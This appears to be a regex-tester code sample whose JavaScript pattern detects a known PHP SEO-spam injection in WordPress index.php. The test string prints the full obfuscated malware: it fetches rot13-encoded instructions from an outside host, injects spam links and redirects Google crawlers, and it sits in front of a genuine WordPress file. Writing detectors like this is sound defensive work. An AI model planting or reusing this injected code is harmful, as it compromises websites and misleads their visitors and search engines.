const regex = /^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)/gis;
// Alternative syntax using RegExp constructor
// const regex = new RegExp('^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*(\\$\\w+)=\\@\\$_server\\[[\'"]http_host[\'"]\\];\\1.{0,90}?if\\(\\@\\$_get\\[["\']merdo["\'\\]\\)\\{\\w\\s\'\\<\\!\\-]+sysadmin.{0,180}?curl_setopt\\(\\$.{0,370}?file_get_contents\\(\\$.{0,150}?$\\w{0,21}=\\@json_decode\\(str_rot13\\(.{0,460}?\\$\\w.{0,21}\\[["\']html.{0,550}?\\$myurl=rtrim\\(\\$\\w.{0,21}\\[[\'"]links.{0,110}header\\([\'"]location:\\s*["\']\\.\\$url.{0,100}?\\)\\.[\'"]\\?merdo=.{0,140}?\\);(?:[^>]+>\\s*)?(?=\\s*<\\?(?:php)?)', 'gis')
const str = `<?php \$eMaOCtmXlSnImjmiCMmP=@\$_SERVER["HTTP_HOST"];\$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',\$eMaOCtmXlSnImjmiCMmP);if(@\$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz(\$WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){\$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,\$WDqgjhajdhXeSWcZQBrY);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt(\$JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec(\$JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents(\$WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF(\$SMKstKjPCEdudocSCHHm){global \$mnTIeyfFkNxHxpHFcEse;\$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13(\$SMKstKjPCEdudocSCHHm),true);if(\$DkiJvJYOhXiunDLZIogN["type"]=="link"||\$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count(\$DkiJvJYOhXiunDLZIogN["links"])){\$XxXBDNFNLjLqzmBZbKRY='';foreach(\$DkiJvJYOhXiunDLZIogN["links"]as \$AXzHJsVXmlVXbzpqVwQJ){\$XxXBDNFNLjLqzmBZbKRY.="<a href=\\"".\$AXzHJsVXmlVXbzpqVwQJ["url"]."\\" title=\\"".\$AXzHJsVXmlVXbzpqVwQJ["title"]."\\">".\$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\\n";}\$SmkbvCeraMrwNwvcAesM=\$DkiJvJYOhXiunDLZIogN["html"];\$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',\$XxXBDNFNLjLqzmBZbKRY,\$SmkbvCeraMrwNwvcAesM);echo \$SmkbvCeraMrwNwvcAesM;}else{\$SmkbvCeraMrwNwvcAesM=\$DkiJvJYOhXiunDLZIogN["html"];\$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',\$SmkbvCeraMrwNwvcAesM);echo \$SmkbvCeraMrwNwvcAesM;}}elseif(\$DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match('#google#',\$_SERVER["HTTP_USER_AGENT"])){\$uri=\$_SERVER['REQUEST_URI'];\$rand_keys=array_rand(\$DkiJvJYOhXiunDLZIogN["links"],1);\$myurl=rtrim(\$DkiJvJYOhXiunDLZIogN["links"][\$rand_keys]["url"],'/');\$url=\$myurl.\$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.\$url.'');exit();}}}\$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.\$eMaOCtmXlSnImjmiCMmP;\$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz(\$VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF(\$zEGHtEUrCiJBSXWxYOdV); ?> <?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
`;
// Reset `lastIndex` if this regex is defined globally
// regex.lastIndex = 0;
let m;
while ((m = regex.exec(str)) !== null) {
// This is necessary to avoid infinite loops with zero-width matches
if (m.index === regex.lastIndex) {
regex.lastIndex++;
}
// The result can be accessed through the `m`-variable.
m.forEach((match, groupIndex) => {
console.log(`Found match, group ${groupIndex}: ${match}`);
});
}
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for JavaScript, please visit: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions